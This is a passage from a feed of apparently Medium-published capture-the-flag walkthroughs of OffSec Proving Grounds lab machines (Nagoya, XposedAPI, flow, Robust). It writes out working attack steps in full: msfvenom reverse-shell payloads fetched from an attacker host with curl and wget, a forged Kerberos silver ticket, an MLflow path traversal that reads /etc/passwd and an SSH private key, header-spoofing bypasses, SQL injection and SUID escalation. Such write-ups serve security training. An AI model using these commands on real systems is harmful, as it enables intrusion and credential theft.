local.txt file at C:\local.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*MqKhheKlH7xNfweCkXWtIw.png" /></figure><p>Looking around, we find that the only other users on the machine are Administrator and svc_mssql. We already have the password for svc_mssql, so I went that route first. I figured that it might be too easy to log right into the account in winrm, but I tried it anyway, and was right. Next, let’s check if there’s any services running on an internal network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*V5L5uDwf3R0_XMp2W7cd8A.png" /></figure><p>Now that we’ve found MSSQL running, lets transfer chisel over and set up a tunnel for it.</p><pre>makoyi@kali 26/03/26 [~] <br>❯ ./chisel_linux server --reverse --socks5<br>2026/03/26 14:55:37 server: Reverse tunnelling enabled<br>2026/03/26 14:55:37 server: Fingerprint crbGWRGGrMs6oTZ0SDFqZiF9muFw7anjx8UlAvmOH1o=<br>2026/03/26 14:55:37 server: Listening on http://0.0.0.0:8080<br>2026/03/26 14:56:16 server: session#1: tun: proxy#R:127.0.0.1:1080=&gt;socks: Listening</pre><pre>*Evil-WinRM* PS C:\Users\Christopher.Lewis\Downloads&gt; .\chisel.exe client &lt;ATTACKER IP&gt;:8080 R:socks</pre><p>I logged into svc_mssql, but couldn’t find anything useful, so I changed direction and used the credentials to forge a silver ticket to attempt to escalate to a more privileged account. I used <a href="https://codebeautify.org/ntlm-hash-generator">https://codebeautify.org/ntlm-hash-generator</a> to turn the password for svc_mssql into a hash, but you can choose any way you’d like. For the domain-sid, you can use powershell and the command Get-ADdomain, but I had ran enum4linux early in my enumeration phase and got the domain-sid.</p><p>To grab the SPN</p><pre>Get-ADUser -Filter {SamAccountName -eq &quot;svc_mssql&quot;} -Properties ServicePrincipalNames</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*Ly38M9Z9W_2jBCp1puhB1A.png" /></figure><pre>makoyi@kali 26/03/26 [~] <br>❯ impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>[*] Creating basic skeleton ticket and PAC Infos<br>[*] Customizing ticket for nagoya-industries.com/Administrator<br>[*]     PAC_LOGON_INFO<br>[*]     PAC_CLIENT_INFO_TYPE<br>[*]     EncTicketPart<br>[*]     EncTGSRepPart<br>[*] Signing/Encrypting final ticket<br>[*]     PAC_SERVER_CHECKSUM<br>[*]     PAC_PRIVSVR_CHECKSUM<br>[*]     EncTicketPart<br>[*]     EncTGSRepPart<br>[*] Saving ticket in Administrator.ccache</pre><p>Now we need to export the ticket for use.</p><pre>makoyi@kali 26/03/26 15:57 - 192.168.45.248 [~] <br>❯ export KRB5CCNAME=$PWD/Administrator.ccache</pre><p>Now create /etc/krb5user.conf</p><pre>[libdefaults]<br>        default_realm = NAGOYA-INDUSTRIES.COM<br>        kdc_timesync = 1<br>        ccache_type = 4<br>        forwardable = true<br>        proxiable = true<br>    rdns = false<br>    dns_canonicalize_hostname = false<br>        fcc-mit-ticketflags = true<br><br>[realms]        <br>        NAGOYA-INDUSTRIES.COM = {<br>                kdc = nagoya.nagoya-industries.com<br>        }<br><br>[domain_realm]<br>        .nagoya-industries.com = NAGOYA-INDUSTRIES.COM</pre><p>Log in to nagoya.nagoya-industries.com and enable xp_cmdshell.</p><pre>makoyi@kali 26/03/26 [~] <br>❯ proxychains impacket-mssqlclient &#39;nagoya-industries.com/svc_mssql&#39;:&#39;Service1&#39;@192.168.185.21 -windows-auth<br><br>makoyi@kali 26/03/26 [~] <br>❯ proxychains impacket-mssqlclient -k nagoya.nagoya-industries.com<br>&lt;snip&gt;<br>SQL (NAGOYA-IND\Administrator  dbo@master)&gt; EXEC sp_configure &#39;show advanced options&#39;, 1;<br>INFO(nagoya\SQLEXPRESS): Line 196: Configuration option &#39;show advanced options&#39; changed from 0 to 1. Run the RECONFIGURE statement to install.<br>SQL (NAGOYA-IND\Administrator  dbo@master)&gt; RECONFIGURE;<br>SQL (NAGOYA-IND\Administrator  dbo@master)&gt; EXEC sp_configure &#39;xp_cmdshell&#39;, 1;<br>INFO(nagoya\SQLEXPRESS): Line 196: Configuration option &#39;xp_cmdshell&#39; changed from 0 to 1. Run the RECONFIGURE statement to install.<br>SQL (NAGOYA-IND\Administrator  dbo@master)&gt; RECONFIGURE;</pre><p>After enabling xp_cmdshell, I used msfvenom to craft an executable payload that initiates a reverse shell connection</p><pre>makoyi@kali 26/03/26 [~] <br>❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.248 LPORT=445 -f exe -o rev.exe<br></pre><p>Now we transfer the file over to the machine.</p><pre>SQL (NAGOYA-IND\Administrator  dbo@master)&gt; xp_cmdshell &quot;curl http://&lt;ATTACKER IP&gt;/rev.exe -o C:\temp\rev.exe&quot;</pre><p>With a listener set up through netcat, we execute the payload and gain a reverse shell.</p><pre>makoyi@kali 26/03/26 ~] <br>❯ sudo rlwrap -cAr nc -lvnp 445                             <br>[sudo] password for makoyi: <br>listening on [any] 445 ...<br>connect to [&lt;ATTACKER IP&gt;] from (UNKNOWN) [192.168.185.21] 50068<br>Microsoft Windows [Version 10.0.17763.4252]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br>C:\Windows\system32&gt;whoami<br>whoami<br>nagoya-ind\svc_mssql</pre><p>Checking the permissions of the account, we find that SeImpersonate is enabled, which means we can use PrintSpoofer to escalate to Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*aPd3HX5Z0UDmuMSeMSDZ4g.png" /></figure><p>After transfering PrintSpoofer64.exe over, we escalate to Administrator and find proof.txt at C:\Users\Administrator\Desktop\proof.txt.</p><pre>C:\&gt;\Temp\PrintSpoofer64.exe -i -c cmd.exe<br>\Temp\PrintSpoofer64.exe -i -c cmd.exe<br>[+] Found privilege: SeImpersonatePrivilege<br>[+] Named pipe listening...<br>[+] CreateProcessAsUser() OK<br>Microsoft Windows [Version 10.0.17763.4252]<br>(c) 2018 Microsoft Corporation. All rights reserved.<br><br>C:\Windows\system32&gt;type C:\Users\Administrator\Desktop\proof.txt<br>type C:\Users\Administrator\Desktop\proof.txt<br></pre><p>Thank you for reading.</p><p>I hope this walk-through helps, stay ethical, and happy hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=19eec0a917a1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/proving-grounds-practice-nagoya-19eec0a917a1">Proving Grounds — Practice — Nagoya</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — XposedAPI]]></title>
            <link>https://infosecwriteups.com/proving-grounds-practice-xposedapi-770d48008e3a?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/770d48008e3a</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Wed, 18 Mar 2026 17:26:34 GMT</pubDate>
            <atom:updated>2026-03-19T04:56:57.245Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*ld3j8U0SX61xpbnPDGXpiA.jpeg" /><figcaption>AI image created with <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Offsec’s Proving Grounds Practice box, XposedAPI, is rated intermediate, but the community disagrees and rated it hard. Much like the name suggests, the box starts with an exposed API. Once exploited, we gain a shell and find privilege escalation through a SUID binary.</p><p>— NMAP Scan</p><pre>makoyi@kali [~] <br>❯ sudo nmap -Pn -n 192.168.229.134 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-17 21:47 -0500<br>Nmap scan report for 192.168.229.134<br>Host is up (0.042s latency).<br>Not shown: 65533 closed tcp ports (reset)<br>PORT      STATE SERVICE VERSION<br>22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)<br>|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)<br>|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)<br>13337/tcp open  http    Gunicorn 20.0.4<br>|_http-server-header: gunicorn/20.0.4<br>|_http-title: Remote Software Management API<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 25.94 seconds</pre><p>Navigating to the web page on port 13337, we find in big, bold, red lettering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRL7JeAepMc_ygsm97ShUA.png" /></figure><p>That’s a pretty good indicator that we’re on the right track. Scrolling further down the page, we find some more interesting things and what appears to be our attack vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FDA5QgaivYvj938ulUzPzw.png" /></figure><p>The first thing I wanted to do was to take a look at the logs, but attempting to look at it in the web browser won’t seem to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*WbVdRUgou9syHa77kbIaTg.png" /></figure><p>Easy enough to bypass, all we need to do is change the header, and based on the output, “for this host”, I thought that maybe changing the header to localhost might work.</p><pre>curl http://192.168.229.134:13337/logs -H &quot;X-Forwarded-For:localhost&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*AnkSsoyDY__Sd22d7gu_Bg.png" /></figure><p>It didn’t work quite like I had planned, but at least it gave me enough information to fix what I did wrong.</p><pre>curl http://192.168.229.134:13337/logs\?file\=/etc/passwd -H &quot;X-Forwarded-For:localhost&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*eq_jNPTYqVj-3KQMyz7PFA.png" /></figure><p>Well, look at that, it seemed to work and we got the contents of /etc/passwd.</p><p>Looking back at the contents of the webpage, /update looks like we can upload a shell into the system, now that we know the user’s name is clumsyadmin.</p><p>First, let’s go ahead and give it a test run, and see if it’s as good of a way in as I’m hoping it is.</p><pre>python3 -m http.server 80</pre><pre>curl -X POST http://192.168.229.134:13337/update -H &quot;Content-Type: application/json&quot; --data &#39;{&quot;user&quot;:&quot;clumsyadmin&quot;,&quot;url&quot;:&quot;http://&lt;ATTACKER IP&gt;/test&quot;}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aFCVU1WzMqKwiGLOflaBOQ.png" /></figure><p>Ok, it works, now we need to build a payload to upload to the system.</p><pre>msfvenom -p linux/x64/shell_reverse_tcp lhost=&lt;ATTACKER IP&gt; lport=4444 -f elf &gt; exp.elf</pre><p>Now, start a listener to catch our reverse shell.</p><pre>rlwrap -cAr nc -lvnp 4444</pre><pre>curl -X POST http://192.168.229.134:13337/update -H &quot;Content-Type: application/json&quot; --data &#39;{&quot;user&quot;:&quot;clumsyadmin&quot;,&quot;url&quot;:&quot;http://192.168.45.219/exp.elf&quot;}&#39;</pre><p>The output says that we need to restart the software for the changes to take effect.</p><pre>curl http://192.168.229.134:13337/restart</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*OMvNoUtyjssww47KYN6rzQ.png" /></figure><p>Based on the output, we have to add a little extra input for the software to be restarted. Looks like the request needs to have the data ‘{“confirm”:”true”}’ in the request to work.</p><pre>curl http://192.168.229.134:13337/restart --data &#39;{&quot;confirm&quot;:&quot;true&quot;}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*5jvqqAcBmjz174KMKHfWpQ.png" /></figure><p>We grab a shell as the user clumsyadmin and find local.txt in the home directory.</p><p>The first thing I did, was run sudo -l, but without the password for the account, I had no access to it. Moving on, time to check SUID binaries.</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>If the account has access to python, in which case this user does, I like to use an automated SUID enumerator.</p><p><a href="https://github.com/Anon-Exploiter/SUID3NUM">GitHub - Anon-Exploiter/SUID3NUM: A standalone python script which utilizes python&#39;s built-in modules to enumerate SUID binaries, separate default binaries from custom binaries, cross-match those with bins in GTFO Bin&#39;s repository &amp; auto-exploit those, all with colors! ( ͡~ ͜ʖ ͡°)</a></p><pre>python suid3num.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*eKLJL6QkDIQxd4VftXIeAQ.png" /></figure><p>Wget has SUID binary set, time to go check out GTFObins.</p><p><a href="https://gtfobins.org/gtfobins/wget/">wget | GTFOBins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k9paYnosjX1zpxMElR1-Sg.png" /></figure><pre>TF=$(mktemp)<br><br>chmod +x $TF<br><br>echo -e &#39;#!/bin/sh -p\n/bin/sh -p 1&gt;&amp;0&#39; &gt;$TF<br><br>wget --use-askpass=$TF 0</pre><p>Now we can read the proof.txt file in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*jgpj24QSWbd6isnNwW0rTg.png" /></figure><p>Thank you for reading!</p><p>I hope this walkthrough helps, stay ethical, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=770d48008e3a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/proving-grounds-practice-xposedapi-770d48008e3a">Proving Grounds — Practice — XposedAPI</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — flow]]></title>
            <link>https://meetcyber.net/proving-grounds-practice-flow-9adf7b51d144?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/9adf7b51d144</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Wed, 18 Mar 2026 01:02:06 GMT</pubDate>
            <atom:updated>2026-03-18T07:51:48.295Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*PAupuYJEcXkS6626mwl6Lg.jpeg" /><figcaption>AI image created with <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Offsec’s Proving Grounds box flow, is rated intermediate and the community seems to agree. The box is a pretty straightforward path, starting with discovering the vulnerable web page, using a path traversal exploit, and finally exploiting a misconfigured sudo permission. With that being said, let’s get into it.</p><p>— NMAP Scan</p><pre>makoyi@kali [~] <br>❯ sudo nmap -Pn -n 192.168.229.104 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-17 16:16 -0500<br>Nmap scan report for 192.168.229.104<br>Host is up (0.040s latency).<br>Not shown: 65533 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)<br>|_  256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)<br>5000/tcp open  http    Gunicorn<br>|_http-title: MLflow<br>|_http-server-header: gunicorn<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 143.44 seconds</pre><p>Based off of the initial scan, we see that port 5000 is hosting MLflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*vrcYzMd94gQyovvkAnvAvQ.png" /></figure><p>Exploring the web page, we see that the version of MLflow is 2.9.2, so now we head to google to see if we can find out any vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*yuR7_9ivGTjTE7KU_JHyNw.png" /></figure><p>I’ll go ahead and save the trouble of searching which of the CVEs work, and just skip to the correct one being CVE-2024–1483.</p><p><a href="https://huntr.com/bounties/52a3855d-93ff-4460-ac24-9c7e4334198d">huntr - The world&#39;s first bug bounty platform for AI/ML</a></p><p>Googling the CVE landed me on a report from a bug bounty with a PoC that looked promising.</p><pre>curl -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;name&quot;: &quot;poc&quot;, &quot;artifact_location&quot;: &quot;http:///#/../../../../../../../../../../../../../../etc/&quot;}&#39; &#39;http://192.168.229.104:5000/ajax-api/2.0/mlflow/experiments/create&#39;</pre><pre>curl -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;experiment_id&quot;: &quot;1&quot;}&#39; &#39;http://192.168.229.104:5000/api/2.0/mlflow/runs/create&#39;</pre><pre>curl -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;name&quot;: &quot;poc&quot;}&#39; &#39;http://192.168.229.104:5000/ajax-api/2.0/mlflow/registered-models/create&#39;</pre><pre>curl -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;name&quot;: &quot;poc&quot;, &quot;run_id&quot;: &quot;5a2da2808f914e4f891adb97f143bfe7&quot;, &quot;source&quot;: &quot;file:///etc/&quot;}&#39; &#39;http://192.168.229.104:5000/ajax-api/2.0/mlflow/model-versions/create&#39;</pre><pre>curl &#39;http://192.168.229.104:5000/model-versions/get-artifact?path=passwd&amp;name=poc&amp;version=1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*vznSYyJs70tQehtJKSa9XA.png" /></figure><p>Great! The PoC works, so now we need to modify the code to grab other sensitive information. My first thought was to see if I could grab an SSH key to log right in.</p><pre>curl -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;name&quot;: &quot;ssh&quot;, &quot;artifact_location&quot;: &quot;http:///#/../../../../../../../../../../../../../../home/mlflow/&quot;}&#39; &#39;http://192.168.229.104:5000/ajax-api/2.0/mlflow/experiments/create&#39;</pre><pre>curl -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;experiment_id&quot;: &quot;1&quot;}&#39; &#39;http://192.168.229.104:5000/api/2.0/mlflow/runs/create&#39;</pre><pre>curl -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;name&quot;: &quot;ssh&quot;}&#39; &#39;http://192.168.229.104:5000/ajax-api/2.0/mlflow/registered-models/create&#39;</pre><pre>curl -X POST -H &#39;Content-Type: application/json&#39; -d &#39;{&quot;name&quot;: &quot;ssh&quot;, &quot;run_id&quot;: &quot;1cc40e52f4e14db48265a8f3800f7e0b&quot;, &quot;source&quot;: &quot;file:///home/mlflow/.ssh/&quot;}&#39; &#39;http://192.168.229.104:5000/ajax-api/2.0/mlflow/model-versions/create&#39;</pre><pre>curl &#39;http://192.168.229.104:5000/model-versions/get-artifact?path=id_rsa&amp;name=ssh&amp;version=1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*_8jRrHVbcb8pTxQLCEvWlg.png" /></figure><p>Turns out, that was indeed the correct vector. So now copy the id_rsa and chmod 600, we can log right in and find the flag right there in the home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*alz-ZeBqje1FpmwtkepL5A.png" /></figure><p>First thing I like to do is see what sudo privileges the account has.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*1sHrliFJmBjAF0gRgda_7Q.png" /></figure><p>Well, looks like we have some low hanging fruit that we can exploit. Looking at the output, we can use /usr/local/bin/mlflow artifacts to upload a file from one location and download it to another. Sticking with the theme of the box, I thought that I could upload a ssh key from my attacking machine and put it directly into the root’s .ssh file.</p><p>First I created a new ssh key pair.</p><pre>ssh-keygen -t rsa</pre><pre>cp .ssh/id_rsa.pub authorized_keys</pre><p>Now that the key has been staged, transfer the key over to the home directory on our target.</p><pre>wget http://&lt;ATTACKER IP&gt;/authorized_keys -O authorized_keys</pre><p>Now, we use our sudo privilege to upload our key into the root’s .ssh directory.</p><pre>sudo /usr/local/bin/mlflow artifacts download -u file:///home/mlflow/authorized_keys -d /root/.ssh</pre><p>Now we use our created id_rsa to ssh directly in as the root user and find the proof flag in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*YvRGXSJ1ByIYQ6zRcg-P4Q.png" /></figure><p>Thank you for reading!</p><p>I hope this walkthrough helps, stay ethical, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9adf7b51d144" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/proving-grounds-practice-flow-9adf7b51d144">Proving Grounds — Practice — flow</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — Robust]]></title>
            <link>https://meetcyber.net/proving-grounds-practice-robust-8f3f22de19d0?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f3f22de19d0</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Fri, 06 Mar 2026 03:48:26 GMT</pubDate>
            <atom:updated>2026-03-06T11:47:49.660Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds — Practice — Robust</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*XVZck6Mvvz07_L8s-JkdhA.jpeg" /><figcaption>AI Image created with <a href="https://deepai.org/machine-learning-model/hologram-3d-generator">https://deepai.org/machine-learning-model/hologram-3d-generator</a></figcaption></figure><p>Robust is a machine rated easy by Offsec, but rated hard by the community. I agree with the community, this was a challenging box focusing around changing the header to bypass the forbidden web page and a lot of directory enumeration once a foothold has been achieved.</p><p>— NMAP Scan</p><pre>makoyi@kali [~] <br>❯ sudo nmap -Pn -n 192.168.142.200 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-05 17:29 -0600<br>Nmap scan report for 192.168.142.200<br>Host is up (0.071s latency).<br>Not shown: 65532 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT     STATE SERVICE    VERSION<br>22/tcp   open  ssh        OpenSSH for_Windows_8.1 (protocol 2.0)<br>| ssh-hostkey: <br>|   3072 21:76:63:1c:3b:10:a6:a7:73:d6:e7:dd:1e:a2:b6:83 (RSA)<br>|   256 62:a8:39:f6:ab:92:cd:26:03:bf:1e:28:25:4e:8e:7a (ECDSA)<br>|_  256 02:39:7c:e2:af:6a:44:98:ec:9a:28:98:a0:8b:fe:c4 (ED25519)<br>80/tcp   open  http       PHP cli server 5.5 or later (PHP 7.3.33)<br>| http-title: Site doesn&#39;t have a title (text/html; charset=UTF-8).<br>|_Requested resource was login.php<br>| http-cookie-flags: <br>|   /: <br>|     PHPSESSID: <br>|_      httponly flag not set<br>7680/tcp open  pando-pub?<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 246.56 seconds</pre><p>The scan returns 3 open ports. Exploiting SSH is very far and few between, so we set that on the back burner for now. Port 7680 isn’t jumping out with any obvious attack vectors, so I start with port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*MPhS5EzVB23XHSVuSa6lfA.png" /></figure><p>The first thing we notice when we open the web page, is that we aren’t allowed to access the login page. The second thing, is that only a certain ip address is allowed, that makes me think that we can change the header of the request to possibly bypass that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*YLpwyXmurm1TqAph9k7g1g.png" /></figure><p>With that in mind, let’s boot up burp suite and modify the request with X-Forwarded-For.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sqRNUvvu90mQOo6EIEN9Kw.png" /></figure><p>Well, look at that. It works. Now, let’s see if we can find and subdomains now that we know we can bypass the forbidden access.</p><pre>makoyi@kali [~] <br>❯ wfuzz -H &quot;X-Forwarded-For: 10.10.10.1&quot; --sc 302 -u http://192.168.142.200/FUZZ.php -w /usr/share/wordlists/wfuzz/general/big.txt<br> /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&#39;s documentation for more information.<br>********************************************************<br>* Wfuzz 3.1.0 - The Web Fuzzer                         *<br>********************************************************<br><br>Target: http://192.168.142.200/FUZZ.php<br>Total requests: 3024<br><br>=====================================================================<br>ID           Response   Lines    Word       Chars       Payload                                                                                    <br>=====================================================================<br><br>000001297:   302        58 L     142 W      3030 Ch     &quot;home&quot;                                                                                     <br>000001350:   302        0 L      0 W        0 Ch        &quot;index&quot;                                                                                    <br><br>Total time: 0<br>Processed Requests: 3024<br>Filtered Requests: 3022<br>Requests/sec.: 0</pre><p>The home directory seems like an interesting find, let’s go ahead and see if we can access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*vuSFk_5KvSIhXCB-3ZLG6A.png" /></figure><p>Let’s intercept the request trying to go to the home page and alter the header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*zUx6603VXjuywxo4QgELgw.png" /></figure><p>It took me a few tries to realize that there was a location in the response, so let’s go ahead and delete that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbDOaRypZSOy3KFB4tc3qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*cEYWH16wTqiyW1bqnMYQaA.png" /></figure><p>Well there we go, we’re into the home directory. Being a database of employees and the search function, I bet that this is vulnerable to SQL Injection. I used a UNION-based injection in the first name field and intercepted it with burp to see what happened.</p><pre>&#39; UNION select * from employees&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7QvEiDxoVO8WR0RZzgdzFA.png" /></figure><p>Well, I got lucky and it turned out to be exactly the path to take, I’m glad UNION-based injections were first in my notes of injection methods. The response is interesting, what a weird response under Jeff Mills, looks like a password to me.</p><p>Let’s go ahead and test it out on our other open port, port 22. Once, we’re logged in, we’ll find the flag on the desktop of Jeff.</p><pre>makoyi@kali [~] <br>❯ ssh jeff@192.168.142.200                           <br>The authenticity of host &#39;192.168.142.200 (192.168.142.200)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:yU8TIdaHGC7RlixgxXYPcoG6AIQsh59/ABR21NrTkls<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;192.168.142.200&#39; (ED25519) to the list of known hosts.<br>** WARNING: connection is not using a post-quantum key exchange algorithm.<br>** This session may be vulnerable to &quot;store now, decrypt later&quot; attacks.<br>** The server may need to be upgraded. See https://openssh.com/pq.html<br>jeff@192.168.142.200&#39;s password: <br>Microsoft Windows [Version 10.0.19042.1586]<br>(c) Microsoft Corporation. All rights reserved.<br>                                               <br>jeff@ROBUST C:\Users\Jeff&gt;dir Desktop          <br> Volume in drive C has no label.                  <br> Volume Serial Number is 08DF-534D                <br>                                                  <br> Directory of C:\Users\Jeff\Desktop               <br>                                                  <br>05/13/2022  08:50 AM    &lt;DIR&gt;          .          <br>05/13/2022  08:50 AM    &lt;DIR&gt;          ..         <br>03/05/2026  03:28 PM                34 local.txt  <br>               1 File(s)             34 bytes     <br>               2 Dir(s)   3,063,025,664 bytes free<br>                                                  <br>                                       <br>jeff@ROBUST C:\Users\Jeff&gt;type Desktop\local.txt</pre><p>Now, here I uploaded winPEASany.exe to Jeff’s desktop and ran it. The output did not return much at all in the way of privilege escalation. I did notice in the ouput that there was quite a bit of folders in the directory AppData under Jeff’s account, so I went there to manually search through everything. After quite a bit of searching and poking around, I found something interesting.</p><pre>jeff@ROBUST C:\Users\Jeff\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState&gt;type plum.s<br>qlite</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*sEhXkcmbzOCOQWruxAFFcw.png" /></figure><p>In the sticky notes, we find the Administrator’s plaintext password. From here we directly SSH into the Administrator’s account and find the flag on the desktop.</p><pre>makoyi@kali [~] <br>❯ ssh administrator@192.168.142.200<br>** WARNING: connection is not using a post-quantum key exchange algorithm.<br>** This session may be vulnerable to &quot;store now, decrypt later&quot; attacks.<br>** The server may need to be upgraded. See https://openssh.com/pq.html<br>administrator@192.168.142.200&#39;s password: <br><br><br><br><br><br><br>Microsoft Windows [Version 10.0.19042.1586]<br>(c) Microsoft Corporation. All rights reserved.<br>                                               <br>administrator@ROBUST C:\Users\Administrator&gt;type Desktop\proof.txt</pre><p>I enjoyed this box, it was great practice in altering web requests and SQL injection. It also shows not to overlook any 